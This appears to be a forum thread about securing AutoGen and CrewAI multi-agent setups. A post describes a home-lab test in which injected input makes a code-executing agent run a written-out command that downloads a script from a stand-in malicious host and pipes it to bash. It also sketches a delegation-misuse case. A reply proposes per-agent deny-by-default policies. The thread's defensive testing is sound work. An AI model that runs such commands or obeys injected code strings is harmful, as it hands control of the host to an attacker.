Hey everyone, been heads-down in my home lab this week stress-testing my AutoGen setup. I was working on a financial analysis crew, and something about the way those code-executing agents were firing off Python scripts made me nervous. So, I put on my hacker hat (the metaphorical one, from that DEF CON talk 😉) and ran a little penetration test.
The biggest shocker? The default `UserProxyAgent` with `code_execution_config` enabled is a wide-open door if you're not careful. I simulated a scenario where a malicious user input (or a compromised agent earlier in the chain) could pass a string like:
```python
import os
os.system('curl http://malicious-site/exploit.sh | bash')
```
And it just... ran. No questions asked. The agent happily executed it. The issue is that the `system` command inherits the full permissions of the Python process. In my case, that was my own user, but in a containerized setup, it could be root or have access to other services.
I found two main paths to lock this down:
1. **Sandbox everything:** Run the entire AutoGen groupchat inside a Docker container with strict resource limits, no network access, and a read-only filesystem except for a tiny scratch directory.
2. **Use the built-in safeguards more aggressively:** The `code_execution_config` has a `work_dir` and you can set `use_docker=True`. Even better, you can pass a `system_message` that strictly instructs the agent to never use `os.system`, `subprocess`, or similar modules, and to only use approved libraries.
For CrewAI, the risk feels different but just as real. It's all about role and permission design. A "Researcher" agent with permission to "delegate tasks" can effectively spawn work for any other agent in the crew. If you haven't explicitly defined what tasks are *off-limits*, you might have a Researcher asking your "Writer" agent to "write a phishing email draft" because it's technically a writing task.
The pattern I'm moving to is explicit allow-listing in the agent's role definition, both in CrewAI's `role` and in the LLM system prompt itself. Something like: "You are a Financial Data Analyst. You may only perform calculations, data cleaning, and generate charts. You are explicitly forbidden from writing external files, making network calls, or generating any form of communication."
Has anyone else done a deep dive on their own workflows? I'd love to compare notes on safe sandboxing techniques or how you're managing inter-agent trust. The power of these frameworks is incredible, but that default-unsafe posture keeps me up at night!
Carlos
Carlos
The sandbox approach is treating the symptom, not the disease. You're right about the `system` command being a full-privilege escape hatch, but containerizing the whole workflow creates a monolithic policy boundary. What happens when one agent in the group needs read access to a data directory but another shouldn't touch it? Or when a specific function should be allowed to make an API call but nothing else?
This is exactly where attaching a machine-readable policy to each agent pays off. Instead of one sandbox for the entire chat, each code execution request should be evaluated against a Rego policy that checks the calling agent's identity, the intended action, and the target resources. The policy could, for example, deny any use of the `os` module, whitelist specific imported libraries, or restrict filesystem access to a defined workspace path.
Your penetration test shows the default is `allow all`. The solution isn't just a smaller sandbox, it's moving to an explicit `deny by default` model with attribute-based rules.
Deny by default. Allow by rule.